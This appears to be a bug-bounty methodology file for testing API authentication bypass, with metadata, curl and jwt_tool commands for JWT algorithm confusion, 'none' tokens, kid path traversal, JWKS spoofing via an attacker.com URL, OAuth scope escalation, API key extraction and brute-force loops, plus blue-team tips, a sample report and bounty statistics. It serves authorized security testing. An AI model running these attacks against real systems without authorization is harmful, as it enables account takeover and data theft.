| name | api-authentication-bypass |
| description | Test APIs for authentication and authorization bypass vulnerabilities including JWT manipulation, OAuth2 flaws, API key leakage, broken authentication, and token forgery. Use this skill when assessing REST/GraphQL APIs for access control weaknesses, session management flaws, or credential handling issues. Covers JWT algorithm confusion, OAuth redirect manipulation, and rate limit bypass.
|
| domain | cybersecurity |
| subdomain | bug-hunting |
| category | API Security |
| difficulty | intermediate |
| estimated_time | 2-4 hours |
| mitre_attack | {"tactics":["TA0006","TA0001"],"techniques":["T1078","T1550"]} |
| owasp_category | API2:2023-Broken Authentication |
| platforms | ["linux","windows","macos"] |
| tags | ["api-security","jwt","oauth","authentication-bypass","token-forgery","api-key","broken-auth","bug-bounty"] |
| tools | ["burpsuite","jwt-tool","postman","ffuf","nuclei"] |
| version | 1.0 |
| author | CyberSkills-Elite |
| license | Apache-2.0 |
API Authentication Bypass
When to Use
- When testing APIs for authentication weaknesses
- When JWT tokens are used for session management
- When OAuth2/OpenID Connect flows are implemented
- When API keys are used for authentication/authorization
- When testing for broken authentication patterns
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identify Authentication Mechanism
curl -v https://api.target.com/v1/me 2>&1 | grep -i "auth\|cookie\|token\|key"
Phase 2: JWT Token Attacks
echo "eyJ0eXAi..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
pip install jwt_tool
python3 jwt_tool.py <TOKEN> -X a
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py <TOKEN> -X i
python3 jwt_tool.py <TOKEN> -T
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/.well-known/jwks.json"
Phase 3: OAuth2 & OpenID Connect Attacks
/authorize?scope=read → /authorize?scope=read+write+admin
Phase 4: API Key Testing
grep -r "api_key\|apiKey\|api-key\|x-api-key" *.js
apktool d target.apk
grep -r "api" target/smali/ target/res/
curl -H "X-API-Key: $APIKEY" https://api.target.com/admin/users
curl -H "X-API-Key: $APIKEY" https://api.target.com/tenants/OTHER_ID/data
for i in $(seq 1 1000); do
curl -s -o /dev/null -w "%{http_code}\n" \
-H "X-API-Key: $APIKEY" https://api.target.com/endpoint
done | sort | uniq -c
Phase 5: Broken Authentication Patterns
curl https://api.target.com/v1/admin/users
curl -H "Authorization: " https://api.target.com/v1/me
curl -H "Authorization: Bearer " https://api.target.com/v1/me
curl -H "Authorization: Bearer null" https://api.target.com/v1/me
curl -H "Authorization: Bearer ANYTHING_HERE" https://api.target.com/v1/me
🔵 Blue Team Detection
- JWT validation: Always verify signature server-side, reject
alg: none
- Token expiration: Short-lived tokens (15 min access, 7 day refresh)
- Key rotation: Rotate JWT signing keys regularly
- OAuth: Validate redirect_uri against strict whitelist (exact match)
- Rate limiting: Per-user/per-IP rate limits on auth endpoints
- Token revocation: Maintain blacklist for revoked tokens
Key Concepts
| Concept | Description |
|---|
| JWT | JSON Web Token — self-contained authentication token |
| Algorithm confusion | Switching JWT algorithm to bypass signature verification |
| OAuth2 | Authorization framework for delegated access |
| PKCE | Proof Key for Code Exchange — prevents auth code interception |
| BOLA | Broken Object Level Authorization — OWASP API #1 |
| Token forgery | Creating valid-looking tokens without the signing key |
Output Format
API Authentication Bypass Report
=================================
Title: JWT Algorithm Confusion Leading to Admin Access
Severity: CRITICAL (CVSS 9.8)
Endpoint: Any authenticated endpoint
Auth Mechanism: JWT (RS256)
Steps to Reproduce:
1. Obtain public key from /.well-known/jwks.json
2. Create JWT with header: {"alg":"HS256","typ":"JWT"}
3. Set payload: {"sub":"1","role":"admin","exp":9999999999}
4. Sign with HS256 using the RSA public key as the HMAC secret
5. Use forged token → full admin access
Impact:
- Complete authentication bypass
- Any user can forge admin tokens
- Full API access without valid credentials
💰 Industry Bounty Payout Statistics (2024-2025)
| Company/Platform | Total Paid | Highest Single | Year |
|---|
| Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| Microsoft | $16.6M | (Not disclosed) | 2024 |
| Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 |
| Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 |
| Crypto.com (HackerOne) | $2M program | $2M max | 2024 |
| 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M.
The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References